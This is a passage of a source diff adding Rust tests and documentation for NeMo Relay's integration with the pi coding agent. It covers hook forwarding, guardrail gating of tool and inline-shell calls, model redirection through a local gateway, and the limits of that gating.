metadata["turn_seq"].clone() + )) + .collect::>(), + vec![(json!(0), json!(0)), (json!(1), json!(1))], + "each turn scope must name the attempt it belonged to" + ); + drop(captured); + deregister_subscriber(subscriber_name).unwrap(); +} + +// pi's inline shell is the one tool event that can arrive with no turn open: `!git status` typed +// at an idle prompt happens between turns, not inside one. Opening a turn to hold it would invent +// a boundary pi never reported -- the same defect `has_explicit_turn_start` already fixed for +// marks, reached from the tool side instead. +#[tokio::test] +async fn pi_inline_shell_between_turns_does_not_invent_a_turn() { + let subscriber_name = "cli-pi-inline-shell-scope-test"; + let _ = deregister_subscriber(subscriber_name); + let captured = Arc::new(StdMutex::new(Vec::<(String, Option)>::new())); + let events = captured.clone(); + register_subscriber( + subscriber_name, + Arc::new(move |event| { + let Some(metadata) = event.metadata() else { + return; + }; + if metadata.get("session_id").and_then(Value::as_str) != Some("pi-inline-shell-session") + { + return; + } + events + .lock() + .unwrap() + .push((event.name().to_string(), event.scope_category())); + }), + ) + .unwrap(); + + let manager = SessionManager::new(session_test_config()); + let session = json!({ "session_id": "pi-inline-shell-session" }); + for payload in [ + json!({ "hook_event_name": "session_start", "reason": "startup" }), + json!({ "hook_event_name": "agent_start", "attempt_index": 0 }), + json!({ + "hook_event_name": "turn_start", "turn_index": 0, "turn_seq": 0, "attempt_index": 0 + }), + json!({ + "hook_event_name": "turn_end", "turn_index": 0, "turn_seq": 0, "attempt_index": 0 + }), + // The user types `!git status` at the prompt, after the turn closed. + json!({ + "hook_event_name": "user_bash", "tool_call_id": "user-bash-0", + "tool_name": "user_bash", + "input": { "command": "git status", "cwd": "/work", "exclude_from_context": false }, + "attempt_index": 0, "turn_seq": 0 + }), + json!({ + "hook_event_name": "user_bash_end", "tool_call_id": "user-bash-0", + "tool_name": "user_bash", "status": "ok", "attempt_index": 0, "turn_seq": 0 + }), + json!({ "hook_event_name": "agent_end", "attempt_index": 0 }), + json!({ "hook_event_name": "agent_settled", "attempts": 1, "attempt_index": 0 }), + json!({ "hook_event_name": "session_shutdown", "reason": "quit" }), + ] { + let mut merged = session.clone(); + merged + .as_object_mut() + .unwrap() + .extend(payload.as_object().unwrap().clone()); + apply_pi_hook(&manager, merged).await; + } + + flush_subscribers().unwrap(); + let captured = captured.lock().unwrap(); + let sequence = captured + .iter() + .map(|(name, category)| (name.as_str(), *category)) + .collect::>(); + + assert_eq!( + sequence + .iter() + .filter(|(name, category)| *name == "pi-turn" && *category == Some(ScopeCategory::Start)) + .count(), + 1, + "pi reported one turn; the inline shell command must not open a second. sequence: \ + {sequence:?}" + ); + // The span still exists -- it is not being dropped, only re-parented onto the session scope, + // which is where a command typed between turns belongs. + assert!( + sequence.contains(&("user_bash", Some(ScopeCategory::Start))) + && sequence.contains(&("user_bash", Some(ScopeCategory::End))), + "the inline shell command must still produce a balanced span. sequence: {sequence:?}" + ); + let turn_end = sequence + .iter() + .position(|(name, category)| *name == "pi-turn" && *category == Some(ScopeCategory::End)) + .expect("the one turn should close"); + let shell_start = sequence + .iter() + .position(|(name, category)| { + *name == "user_bash" && *category == Some(ScopeCategory::Start) + }) + .expect("the inline shell span should open"); + assert!( + turn_end < shell_start, + "the command was typed after the turn closed, so its span belongs outside it. sequence: \ + {sequence:?}" + ); + drop(captured); + deregister_subscriber(subscriber_name).unwrap(); +} diff --git a/crates/cli/tests/coverage/shared/setup_tests.rs b/crates/cli/tests/coverage/shared/setup_tests.rs index 57bc7c58f..0900c58c9 100644 --- a/crates/cli/tests/coverage/shared/setup_tests.rs +++ b/crates/cli/tests/coverage/shared/setup_tests.rs @@ -284,6 +284,62 @@ command = "custom" assert_eq!(agents, vec![CodingAgent::ClaudeCode, CodingAgent::Codex]); } +// The parser used to hand-match "claude" and "codex", so `[agents.pi]` read as +// unknown. That is not merely unreported: an unscoped wizard run rewrites the whole +// `[agents]` table from what this returns, so an unparsed agent is *deleted*. +#[test] +fn read_agents_from_doc_recognizes_every_supported_agent() { + let doc: DocumentMut = r#" +[agents.claude] +command = "claude" + +[agents.codex] +command = "codex" + +[agents.pi] +command = "pi" +"# + .parse() + .unwrap(); + assert_eq!( + read_agents_from_doc(&doc), + vec![CodingAgent::ClaudeCode, CodingAgent::Codex, CodingAgent::Pi] + ); +} + +// The failure this guards: `nemo-relay config`, answered without deselecting anything, +// silently dropping an agent the wizard never offered. +#[test] +fn an_unscoped_save_preserves_every_configured_agent() { + let home = tempfile::tempdir().unwrap(); + let path = home.path().join(".config/nemo-relay/config.toml"); + std::fs::create_dir_all(path.parent().unwrap()).unwrap(); + std::fs::write( + &path, + "[agents.claude]\ncommand = \"claude\"\n\n[agents.pi]\ncommand = \"pi\"\n", + ) + .unwrap(); + + // What the wizard reads back as its pre-checked defaults... + let existing: DocumentMut = std::fs::read_to_string(&path).unwrap().parse().unwrap(); + let configured = read_agents_from_doc(&existing); + assert!( + configured.contains(&CodingAgent::Pi), + "pi must be seen as configured, or the wizard cannot re-offer it: {configured:?}" + ); + + // ...and what it writes back when the user changes nothing. + let doc = build_config(&SetupAnswers { agents: configured }); + save_config(&doc, home.path(), None).unwrap(); + + let saved: DocumentMut = std::fs::read_to_string(&path).unwrap().parse().unwrap(); + assert_eq!( + read_agents_from_doc(&saved), + vec![CodingAgent::ClaudeCode, CodingAgent::Pi], + "an unscoped save replaces the whole [agents] table, so it must carry every agent forward" + ); +} + #[test] fn read_existing_defaults_reads_user_config_and_ignores_project_config() { let cwd = tempfile::tempdir().unwrap(); diff --git a/docs/nemo-relay-cli/about.mdx b/docs/nemo-relay-cli/about.mdx index ae3768a5d..ed8975583 100644 --- a/docs/nemo-relay-cli/about.mdx +++ b/docs/nemo-relay-cli/about.mdx @@ -36,6 +36,7 @@ Use these guides when you need to: - Route model-provider traffic through the local NeMo Relay gateway. - Install persistent Claude Code or Codex integrations without wrapping the agent command. +- Gate pi tool calls on a Relay policy from inside a pi extension. - Validate and install model pricing catalog sources for local cost estimates. - Export local sessions to Agent Trajectory Interchange Format (ATIF), Agent Trajectory Observability Format (ATOF) JSONL, OpenTelemetry, or @@ -57,6 +58,7 @@ controls. | --- | --- | --- | --- | --- | | Claude Code | Yes | Yes | Partial | Pre-tool hook responses are supported. LLM optimization uses gateway-routed traffic; full coverage depends on loaded Claude Code hooks. | | Codex | Yes | Yes | Partial | Persistent install verifies all 10 hooks in the supported schema. Each `Stop` finalizes a turn snapshot because the plugin schema does not expose `SessionEnd`. | +| pi | Partial | Yes | No | Proof of concept. Tool and turn activity are captured through a Relay-authored pi extension, and both tool calls and model calls can be blocked. Model traffic reaches the gateway only when the gateway forwards to the endpoint every model of the selected provider would otherwise call, because pi's provider registration is provider-wide. | For minimum agent versions, platform support, and current limitations, refer to the [Support Matrix](/reference/support-matrix). @@ -74,6 +76,8 @@ Use these guide links to move from CLI setup into agent-specific instructions. application modes. - [Codex](/nemo-relay-cli/codex) covers transparent Codex CLI runs, local GUI/app caveats, model provider routing, and remote-task limits. +- [pi](/nemo-relay-cli/pi) covers the extension-based pi integration, tool + gating, agent-run attribution, and the model-redirection gap. Start with [Basic Usage](/nemo-relay-cli/basic-usage), then use the guide for the coding agent that you want to observe. diff --git a/docs/nemo-relay-cli/basic-usage.mdx b/docs/nemo-relay-cli/basic-usage.mdx index d7f22ca8d..959cb7e05 100644 --- a/docs/nemo-relay-cli/basic-usage.mdx +++ b/docs/nemo-relay-cli/basic-usage.mdx @@ -25,6 +25,12 @@ the payload in a shared gateway envelope. - `POST /hooks/claude-code` accepts Claude Code hook JSON and returns Claude-compatible fields such as `continue` and permission decisions when the hook event supports them. +- `POST /hooks/pi` accepts the hook JSON posted by the NeMo Relay pi extension. + It returns an empty object for an allowed call, or + `{"tool_call": {"tool_call_id": "…", "input": {…}}}` when a request intercept + rewrote the arguments and the extension must execute those instead. It returns + HTTP 403 with `error.type = "nemo_relay_guardrail_rejected"` when a guardrail + blocks one. When a hook closes a turn, subagent, or session scope, Relay returns the hook response after subscribers finish processing that scope-end event. This makes @@ -474,6 +480,11 @@ calling NeMo Relay APIs. agent-thought hook. These hints are not emitted as NeMo Relay events. - Compaction, notification, and unknown hook events become mark events under the active session scope. +- Harnesses that report the *start* of a turn as well as its end open the turn + scope at that signal instead of lazily. pi does; Claude Code and Codex report + only `Stop`, so their turns stay lazily opened by the first event of the turn. + For a harness with an explicit turn start, a mark that arrives between turns + is recorded on the session scope rather than opening a turn to hold it. - Gateway requests emit NeMo Relay LLM start and end events under the active session scope. Before each LLM start, the gateway uses explicit subagent headers, pending hints, shared conversation/generation/request identifiers, @@ -509,12 +520,23 @@ hints can also add `llm_correlation_source`, `llm_correlation_subagent_id`, `llm_correlation_conversation_id`, `llm_correlation_generation_id`, `llm_correlation_request_id`, and `llm_correlation_agent_type`. -Generated hook bundles subscribe to the events needed for that mapping: +Generated hook bundles subscribe to the events needed for that mapping. pi has +no generated bundle — its extension posts these names directly: | Agent | LLM Lifecycle and Correlation Hooks | Scope, Tool, and Mark Hooks | | --- | --- | --- | | Claude Code | `UserPromptSubmit`, `Stop` | `SessionStart`, `SessionEnd`, `UserPromptExpansion`, `SubagentStart`, `SubagentStop`, `PreToolUse`, `PostToolUse`, `PostToolUseFailure`, `PermissionRequest`, `Notification`, `PreCompact`, `PostCompact` | | Codex | `UserPromptSubmit`, `Stop` | `SessionStart`, `SubagentStart`, `SubagentStop`, `PreToolUse`, `PostToolUse`, `PermissionRequest`, `PreCompact`, `PostCompact` | +| pi | none — pi's LLM spans come from real gateway traffic, not from hooks | `session_start`, `session_shutdown`, `agent_start`, `agent_end`, `agent_settled`, `turn_start`, `turn_end`, `session_before_compact`, `session_compact`, `model_redirect`, `tool_call`, `tool_arguments_transformed`, `tool_execution_end`, `user_bash`, `user_bash_end` | + +Three of pi's names are not pi hooks. The extension posts `model_redirect` after +deciding whether to point the active model's provider at the gateway, from +`session_start` and from every `model_select`; `tool_arguments_transformed` after +applying a request intercept's rewrite; and `user_bash_end` to close the +inline-shell span, because pi reports no completion for it. pi's own +`tool_execution_start` is deliberately never forwarded — it fires before argument +validation and for calls that never execute, so the extension uses it only to +remember a tool name for the matching end. ## Hook Forwarding @@ -564,6 +586,7 @@ application-mode caveats. - [Claude Code](/nemo-relay-cli/claude-code) - [Codex](/nemo-relay-cli/codex) +- [pi](/nemo-relay-cli/pi) - [Coding Agent Installation](/nemo-relay-cli/plugin-installation) Each guide covers transparent run setup, gateway routing, hook smoke tests, diff --git a/docs/nemo-relay-cli/pi.mdx b/docs/nemo-relay-cli/pi.mdx new file mode 100644 index 000000000..758406c05 --- /dev/null +++ b/docs/nemo-relay-cli/pi.mdx @@ -0,0 +1,515 @@ +--- +title: "pi" +description: "" +position: 6 +--- +{/* SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +SPDX-License-Identifier: Apache-2.0 */} + + +Use this guide to observe local [pi](https://github.com/earendil-works/pi) +sessions and to gate pi tool calls and model calls on a NeMo Relay policy. The pi +integration is a proof of concept. Tool and turn activity always reach Relay; +model traffic reaches it when the gateway forwards to the endpoint the selected +model would otherwise call, which is what [Model +Redirection](#model-redirection) explains. + +pi has no native hook-configuration file, and its external event stream is +observation-only, so hook calls cannot be injected from outside the process. They +originate inside a pi *extension*, which Relay ships at `integrations/pi/`. The +extension is a thin HTTP client: it forwards pi's lifecycle to `POST /hooks/pi` +and gates tool calls on the gateway's verdict. All policy and all span +construction stay in the gateway. + + +pi ships breaking changes through *minor* releases and has no major-release +channel. The integration is verified against pi `v0.84.0`. Re-verify hook +signatures after a pi upgrade; a silent shape change appears as missing spans, +not as an error. + + +## Requirements + +Install pi 0.84.x, and confirm the NeMo Relay extension is reachable. Anything +below 0.84.0 is rejected; anything above 0.84.x is accepted but reported as +**unverified**, by both `doctor` and the launcher, because pi can change a hook +shape in a minor release and the symptom is missing spans rather than an error: + +```bash +nemo-relay doctor pi +``` + +That command reports two things nothing else can: which path the extension will +load from and whether pi will trust it, and whether the gateway is answering at +the URL the extension posts to. Run it first whenever Relay does not seem to be +doing anything. + +**Relay-managed installation is unavailable**: `nemo-relay install pi` is +unsupported, because pi has no plugin marketplace — no manifest, no `pi plugin` +verb, and no MCP client for a plugin-owned server to serve — so there is nothing +for Relay to install into. + +Install the extension yourself instead, once. `pi install ` and a copy +into an auto-discovered directory are both **persistent**: pi loads the +extension on every later run, and `nemo-relay run --agent pi` finds it without +any variable being set. + +### Install At User Scope + +Two routes, both untrusted-project-proof: + +```bash +# 1 · file drop +cp -r integrations/pi ~/.pi/agent/extensions/nemo-relay + +# 2 · pi install, from a LOCAL PATH -- never with --local +pi install /path/to/NeMo-Relay/integrations/pi +``` + +`nemo-relay run --agent pi` resolves either route too — or +`NEMO_RELAY_PI_EXTENSION`, if you set it — and passes what it finds to `-e`, +which loads first and is never trust-gated. It needs one of them: it never +promotes a project-scoped install to `-e`. + + +**Do not install from a git URL.** pi has no subdirectory syntax for a git +source: it clones the repository root and looks there for a `pi` manifest key or +a top-level `extensions/` directory. This extension lives at `integrations/pi`, +so the install reports success and loads nothing — while the clone's root +`skills/` directory *is* picked up, giving you NeMo Relay's skills in pi and none +of the gating. + + +The extension is **not published to npm**, deliberately: the file drop and the +local-path install already cover user scope, and publishing would add a namespace, +a build step and release wiring for a third spelling of the same thing. + + +**Do not install into `.pi/extensions/` or with `pi install --local`.** pi adds +project-scoped extensions to its candidate set only when the project is trusted, +and `-p`, `--mode json` and `--mode rpc` never prompt for trust. Under the +default policy the extension is dropped by a bare conditional — not an error +path — so pi does not treat it as a failure and never reports it, and the +extension cannot report it either, because it is not running. The only symptom +is that Relay appears to do nothing. `nemo-relay doctor pi` warns about it. + + +## Transparent Run + +Use the wrapper for local observability that leaves your pi configuration +untouched. It is **not install-free**: the extension has to be present already, +because a hook can only originate inside it, so run the install above first. On a +clean machine this command fails, and names the routes that fix it. There is no +`nemo-relay pi` shortcut, so use `run`: + +```bash +nemo-relay run --agent pi +``` + +The wrapper starts a gateway on a dynamic `127.0.0.1` port, loads the NeMo Relay +extension with `pi -e `, and passes the gateway URL to it through +`NEMO_RELAY_PI_GATEWAY_URL`. `pi -e` is the reliable loader here: it is +trust-ungated, loads before extension discovery, and survives `--no-extensions`, +so a launched session is instrumented regardless of the user's own pi +configuration. + +The launcher resolves the extension from the same places `nemo-relay doctor pi` +looks — `NEMO_RELAY_PI_EXTENSION` first, then a user-scope install — so either +install route above is enough and no variable is required. Unlike Claude Code and +Codex, there is no Relay-managed install location to fall back on, because pi +extensions live in the user's own configuration directories. + +A **project-scoped** install is deliberately never used. `-e` is not trust-gated, +so passing one would load repository code pi itself declined to trust. Launch +fails instead, and names the install routes that are not gated. + +The launcher also passes this invocation's proxy credential through +`NEMO_RELAY_PROXY_CREDENTIAL`, and the extension sends it as +`x-nemo-relay-proxy-token` on a redirected provider. A gateway started by `run` +authenticates its own client before any intercept can rewrite the route, so +without it a redirect would succeed and every model call would come back `401`. A +standalone `nemo-relay --bind` daemon sets no credential and requires none. + +Inspect what would be launched without starting pi: + +```bash +nemo-relay run --dry-run --print --agent pi +``` + +## Standalone Gateway + +Run a long-lived gateway and point pi at it by hand: + +```bash +nemo-relay --bind 127.0.0.1:4040 & +NEMO_RELAY_PI_GATEWAY_URL=http://127.0.0.1:4040 \ + pi -e integrations/pi/index.ts +``` + +| Variable | Default | Meaning | +| --- | --- | --- | +| `NEMO_RELAY_PI_GATEWAY_URL` | `http://127.0.0.1:4040` | Gateway base URL | +| `NEMO_RELAY_PI_TIMEOUT_MS` | `5000` | Per-request timeout | +| `NEMO_RELAY_PI_FAIL` | `open` | Set to `closed` to block tool calls when the gateway is unreachable | +| `NEMO_RELAY_PI_REDIRECT` | `match` | `force` redirects without verifying the upstream; `off` disables redirection | +| `NEMO_RELAY_PI_OPENAI_UPSTREAM` | unset | What the gateway forwards OpenAI-compatible traffic to. Set by `nemo-relay run` | +| `NEMO_RELAY_PI_ANTHROPIC_UPSTREAM` | unset | What the gateway forwards Anthropic traffic to. Set by `nemo-relay run` | + + +Run headless pi with `< /dev/null`. pi drains piped standard input before the +session starts and returns early only for a TTY, so under an automated harness +it can block indefinitely before any hook fires. + + +## Captured Events + +The extension posts 15 event types, covering session, turn, tool and +inline-shell activity. Twelve carry a pi hook's own name. The other three — +`model_redirect`, `tool_arguments_transformed` and `user_bash_end` — are +synthesized by the extension. The table below names the source of each: +redirection is evaluated at `session_start` and again on every `model_select`, +and `model_redirect` is posted for each decision that explains something — a +redirect, or a skip an operator can act on. Two transient skips are evaluated but +not posted: no model resolved yet, and a provider already pointed at the gateway. +`tool_arguments_transformed` is posted after a rewrite is applied, and +`user_bash_end` after an inline-shell command is decided. + +pi reports both ends of a turn, so Relay opens the turn scope at pi's own +`turn_start` instead of inferring one, and a mark that arrives between turns is +recorded on the session scope rather than opening an empty turn to hold it. + +| pi hook | Relay lifecycle | +| --- | --- | +| `session_start` / `session_shutdown` | Session scope. `session_shutdown` is ignored for `reason: "reload"`, which continues the same session | +| `agent_start` / `agent_end` / `agent_settled` | Marks on the session scope | +| `turn_start` / `turn_end` | Turn scope open and close | +| `session_before_compact` | Mark. The compaction is announced, not yet done, and a later extension can still cancel it | +| `session_compact` | Canonical `compaction` mark | +| `session_start`, then every `model_select` | `model_redirect` mark, for each decision that explains something. Synthesized: the decision is re-evaluated per model, so a switch away from a provider the gateway fronts stops redirecting | +| *(after a rewrite)* | `tool_arguments_transformed` mark. Synthesized, so the trace records that the arguments the tool ran were not the ones proposed | +| `tool_call` | Tool span start, and the gate | +| `tool_execution_end` | Tool span end, for every outcome including blocked | +| `user_bash` | Tool span start named `user_bash`, and the inline shell gate | +| *(after `user_bash` completes)* | `user_bash_end`, a tool span end. Synthesized by the extension, because pi reports no completion for inline shell | + +pi's `tool_execution_start` is deliberately not forwarded: it fires before +argument validation and also for calls that never execute. `tool_result` is not +forwarded either, because it does not fire at all for blocked calls and in the +parallel path it fires before `tool_execution_end`. + +A blocked call still produces a well-formed tool span. The guardrail rejects +before the span opens, but pi fires `tool_execution_end` for blocked calls too, +and the gateway synthesizes the missing pair, tagged +`tool_correlation_status: "agent_fallback"`. + +## Tool Gating + +For model-invoked tools, `tool_call` is the only pre-execution decision point +that sees arguments: pi applies `--tools`, `--exclude-tools`, `--no-tools`, and +the runtime `setActiveTools` at tool-registry construction, never per call. The +user's own inline shell takes a different path and is gated separately. See +[Inline Shell Gating](#inline-shell-gating). + +A guardrail rejection surfaces as HTTP 403 with +`error.type = "nemo_relay_guardrail_rejected"` and the guardrail's own words in +`error.reason`. The extension turns that into pi's `{block, reason}`. + +| Gateway response | Extension behavior | +| --- | --- | +| 2xx | Allow | +| 403 with the guardrail marker | Block, using `error.reason` | +| 403 without that marker | Fault — an authorization failure is not a policy decision | +| Other status, timeout, unreachable | Fault, resolved by `NEMO_RELAY_PI_FAIL` | + +pi passes the block reason to the model verbatim, with no framing. Write +guardrail reasons as guidance rather than as error codes: a reason that names a +safe alternative produces a model that adapts, and a bare denial produces one +that gives up. + +The default is fail-open, so an unreachable gateway does not brick the agent. +`NEMO_RELAY_PI_FAIL=closed` opts in to blocking, and the block reason then says +explicitly that it is an infrastructure fault rather than a judgment about the +request — and *which* fault, because the four are debugged in four different +places: nothing answered, nothing answered in time (the gateway may be up and +slow), the gateway answered without a decision (a rejected payload, an unreadable +body, a 403 with no guardrail marker), or the gate itself failed before the +gateway was asked. + +## Argument Transforms + +A Relay request intercept can rewrite a tool call's arguments. The gateway never +executes the tool, so the rewrite travels back in the allow response and the +extension applies it to pi's `event.input` in place. + +| Response body | Meaning | +| --- | --- | +| `{}` | Allow, arguments unchanged | +| `{"tool_call": {"tool_call_id": "…", "input": {…}}}` | Allow, but execute these arguments | + +`tool_call_id` is echoed so the extension can prove the rewrite belongs to the +call it just posted. It applies the transform only on an exact string match. A +body that carries `input` but names a different call, or no call at all, is +refused — and a refused transform blocks, exactly as a shape violation does, +because the alternative is running arguments the policy never approved. + + +The rewrite is **constrained, not validated**. pi validates tool arguments +before the hook and never re-validates. The extension could read the tool's +schema — `pi.getAllTools()` exposes it for built-ins too — but deliberately does +not: pi's tool set is per-session mutable, so a schema read once can go stale +mid-session. It enforces a shape invariant instead: a transform +may rewrite the values of existing keys, preserving each value's JSON type. It +may not add or remove keys, change a type, or change an array's length. + +That keeps the required keys and types intact, but it is not schema validation — +`pattern`, `enum` and range constraints are not checked. A transform that +rewrites a value to one the schema would reject will still execute. + +Conditional-execution guardrails decide on the arguments pi proposed, before the +rewrite, and are not re-run on the result — the same order a managed tool call +uses. A request intercept can therefore rewrite a value a guardrail would have +refused. Put the decision in the guardrail, not in a transform that outruns it. + + +A transform that violates the invariant **blocks the call**, with a reason +stating that a policy could not be applied rather than that the request was +refused. Running the original arguments would silently discard the policy. + +The shipped `examples/rust-native-plugin` demonstrates the mechanism rather than +a policy: its tool request intercept tags arguments with `native_plugin_tag` and +`native_tool_request_intercept`, which adds keys and so blocks every pi tool +call. Enable it to see the refusal, not as a template to copy. + +## Inline Shell Gating + +pi's bang prefix runs a command outside the tool registry: `!git status` runs it +and shows the model the output, and `!!git status` runs it and keeps the output +out of the model's context. Neither fires `tool_call`, so tool gating does not +cover them. Both reach pi's `user_bash` hook, which the extension gates through +the same guardrail chain by posting the command as a tool span start. + + +The tool name is `user_bash`, not `bash`. A guardrail receives only the tool name +and the arguments, so a policy can distinguish a command the user typed from one +the model proposed only if the two arrive under different names. **A policy that +must cover both has to name both** — a rule written for `bash` alone does not +gate the bang prefix. + + +The posted arguments are `command`, `cwd`, and `exclude_from_context`, the last +of which is `true` for the `!!` form. + +pi's `user_bash` hook has no block-and-reason contract, so a refusal is a +synthetic failed command result that pi records as though the command had run: + +| Field | Value | +| --- | --- | +| `exitCode` | `126`, the shell convention for a command that was found but could not be executed | +| `output` | An attribution line, a blank line, then the guardrail's reason verbatim | +| `cancelled` | `false` — nothing was started | +| `truncated` | `false` — the message is whole | + +`NEMO_RELAY_PI_FAIL` governs this path as well. A rewritten command is refused +rather than run: pi's `user_bash` result can replace the result or the execution +backend, but never the command itself. + +Two limits are worth planning around. The gate records the decision, not the +command — pi reports no completion for inline shell, so the span closes as soon +as the verdict arrives and measures the policy round trip. And the hook fires +only in the interactive TUI and in RPC mode; headless `-p` has no input loop to +type a bang prefix into. + +## Model Redirection + +pi has no base-URL flag and no generic environment override — it resolves a base +URL per model from a generated catalog — so the extension points the active +model's provider at the gateway directly, with +`registerProvider(provider, { baseUrl })`. pi rewrites the URL of every existing +model for that provider and keeps their API, headers, costs and context windows. + +Redirection is **conditional**. The gateway forwards to one statically +configured upstream per API family, set by `--openai-base-url` and +`--anthropic-base-url`, and a client cannot override that per request. +Redirecting is therefore only correct when the gateway's upstream is the endpoint +the selected model would otherwise have called. Pointing an NVIDIA model at a +gateway configured for `api.openai.com` does not produce a trace without spans; +it breaks the session. + +`nemo-relay run --agent pi` passes the gateway's upstreams to the extension, and +the extension redirects only on a match: + +| Situation | Outcome | +| --- | --- | +| Gateway upstream equals the model's endpoint | Redirected; LLM spans appear under the turn | +| Gateway forwards elsewhere | Skipped (`upstream-mismatch`) | +| Model's API has no gateway route | Skipped (`unserviceable-api`) | +| Upstream unknown, e.g. a standalone gateway | Skipped (`unknown-upstream`) | +| Another model of the same provider targets an endpoint the gateway does not front | Skipped (`provider-mixed-endpoints`) | + +`registerProvider` rewrites every model of the provider, not only the selected +one, so the endpoint check is applied to the whole provider. A provider that +mixes endpoints — Fireworks serves `anthropic-messages` at `/inference` and +`openai-completions` at `/inference/v1` — is left alone even when the selected +model matches, because redirecting it would move its siblings to an endpoint that +has never heard of them. Pointing both `--openai-base-url` and +`--anthropic-base-url` at that provider unblocks it, unless a sibling speaks an +API the gateway has no route for at all. + +Each of these outcomes is recorded as a `model_redirect` mark on the session +scope, so a trace with no LLM spans states its own reason. The decision is +re-made on each model switch; the two skips that explain nothing — no model +resolved yet, and a provider already redirected — are evaluated but not marked, +because one per `session_start` is noise in every trace. + +To capture a specific provider, point the gateway at it: + +```bash +nemo-relay --bind 127.0.0.1:4040 \ + --openai-base-url https://integrate.api.nvidia.com/v1 +``` + +32 of pi's 39 built-in providers speak an API the gateway serves. The seven that +do not are Amazon Bedrock, Azure OpenAI Responses, Google, Google Vertex, +Mistral, OpenAI Codex, and Radius. + + +The denominator is `builtinProviders()`, not the 38 catalog files in +`providers/data/`. Radius is a purely dynamic provider with no static catalog +entry, so counting files loses it. + + + +Point pi at the gateway **root**, not the root plus `/v1`. The Anthropic SDK +appends `/v1/messages` itself, while the OpenAI SDK appends `/chat/completions`; +the gateway serves both shapes from the root. + + +## Agent-Run Attribution + +One pi prompt can re-enter the agent run several times — provider retry, +post-compaction recovery, or a queued follow-up — and pi's own `turnIndex` +resets to 0 on each re-entry, so turn indices collide within one prompt. + +Relay's session model is flat (session → turn → tool) and is shared with Codex +and Claude Code, so it gains no attempt level for pi. **Re-entry is therefore +not nested**: two attempts of one prompt appear as more turns under one session. +To keep them distinguishable, the extension sends two counters on every +attributable hook, and the gateway promotes both into event metadata: + +- `attempt_index` — which agent-run attempt this event belongs to. +- `turn_seq` — a session-monotonic turn counter, where pi's `turn_index` resets. + +Read them from `metadata` on turn scopes and tool spans, and from either +`metadata` or the mark's `data` on marks. The turn scope's own `turn_index` is +assigned by Relay and is monotonic; pi's colliding value stays in the payload. + + +`turn_seq` can repeat within one session. The counters live in the extension +runtime, and pi rebuilds that runtime on `/reload` while the session id stays +the same, so the counter restarts at 0. It orders turns within a runtime, not +strictly within a session. + + +Subagents are not represented. pi has no nested-agent hook of its own, and a +child pi process running this extension posts under its own session id, so it +appears as an unrelated session rather than as a subagent. + +## Smoke Test + +Check hook forwarding directly. A 200 is an allow; a 403 with the guardrail +marker is a block: + +```bash +curl -f http://127.0.0.1:4040/healthz +curl -s -w '\nHTTP:%{http_code}\n' -X POST http://127.0.0.1:4040/hooks/pi \ + -H 'content-type: application/json' \ + -d '{"hook_event_name":"tool_call","session_id":"smoke-pi","tool_call_id":"c1","tool_name":"read","input":{"path":"README.md"}}' +``` + +## Verify Export + +Complete a pi turn, then confirm the exporter output. With an ATOF file sink +configured in `plugins.toml`, a single-tool turn produces a `pi` session scope, +one `pi-turn` scope with `turn_source: turn_start`, and the tool span nested +under it. + +If turn scopes are missing entirely, the extension is not loading. pi collects +extension load errors rather than aborting, so a failure is silent — run pi with +`-e` pointing at the entry point directly to isolate it. + +## Troubleshoot LLM Lifecycle + +Look for the `model_redirect` mark on the session scope: it names the outcome and +the reason. The common ones are `upstream-mismatch` (start the gateway with +`--openai-base-url` or `--anthropic-base-url` pointing at the model's provider), +`unknown-upstream` (launch through `nemo-relay run --agent pi`, or set +`NEMO_RELAY_PI_REDIRECT=force`), `unserviceable-api` (the model's provider +speaks an API the gateway has no route for — pick another model), and +`provider-mixed-endpoints`, whose reason names the sibling model that blocked it +— point both upstreams at that provider, or select a model elsewhere. + +Tool and turn activity are unaffected by any of these. + +## Limitations + +### What The Gate Is Authoritative Over + +pi runs every `tool_call` handler unless one returns `block`, and all of them +share the same mutable `input` object with no re-validation before execution. +Loading with `-e` puts this gate first, which prevents an *earlier* extension +pre-empting it — but an extension loaded after it can rewrite arguments Relay has +already authorized, and those execute unreviewed. + + +pi exposes no ordering API and no post-chain hook, so this cannot be prevented +from inside an extension. In a mixed extension stack, the tool gate is +authoritative over **the model**, not over **the other extensions**. + + +### Tool-Result Policy Is Not Available + +Relay's only tool middleware that can change what a tool *returned* is the +execution intercept, which wraps the callback and so owns execution. pi runs its +tools in its own process and reports the outcome, and the gateway builds spans +from hook posts rather than executing anything, so neither side ever holds that +callback. + + +This is broader than pi. **A tool execution intercept registered by any plugin +does not run under the CLI gateway at all** — the registry's only consumer is +`tool_call_execute`, which the gateway never calls, because it applies policy +through the hook path instead. Conditional-execution guardrails and request +intercepts do run there, since both have standalone runners the gateway invokes +directly; there is no response-phase equivalent to invoke. + + +### Interrupted Sessions + +pi registers **no SIGINT handler in any mode**. All three modes install handlers +for `SIGTERM`, plus `SIGHUP` off Windows, and raw mode is set only by the +interactive TUI — so under `-p`, `--mode json` and `--mode rpc`, Ctrl+C is a real +SIGINT that terminates the process with teardown never running. pi's +`session_shutdown` never fires, and the extension never drains its queue. + +The loss is bounded. Every hook the extension *awaits* has already reached the +gateway: both gates and both turn boundaries block on their round trip. An +interrupt can therefore drop only observability marks queued since the last +awaited hook, and the gateway keeps everything already delivered — the session +scope is left open rather than the trace being lost. + +| Exit | Teardown runs? | +| --- | --- | +| `/quit`, normal completion | Yes | +| `SIGTERM`, `SIGHUP` | Yes | +| `SIGINT` (Ctrl+C in a headless mode) | **No** | +| `SIGKILL`, uncaught exception | **No** | + +### Gateway Round Trips + +pi awaits extension handlers on its critical path, so a blocking hook is +synchronous by construction. Observability-only hooks are queued rather than +awaited and drained at shutdown, so they do not charge that path — while the +gateway answers. Posts go out one at a time in hook order, so a gating hook also +waits for whatever is queued ahead of it: against a gateway that holds requests, +the first gate of a session pays `NEMO_RELAY_PI_TIMEOUT_MS` once per queued post, +not once. diff --git a/docs/reference/support-matrix.mdx b/docs/reference/support-matrix.mdx index e567b5c11..405854d8a 100644 --- a/docs/reference/support-matrix.mdx +++ b/docs/reference/support-matrix.mdx @@ -66,10 +66,12 @@ and older CLI versions during installation, diagnostics, and transparent runs. | --- | --- | --- | --- | | Claude Code | 2.1.121 | Persistent install, transparent run, lifecycle hooks, local gateway routing, and pre-tool security | Claude desktop, web, and application sessions are unsupported unless they expose the same local hook and gateway controls. Optimization requires gateway-routed LLM traffic and available hooks. | | Codex CLI | 0.143.0 | Persistent install, transparent run, 10 supported plugin hooks, local gateway routing, and pre-tool security | Cloud or remote tasks that bypass the local machine have partial or no LLM 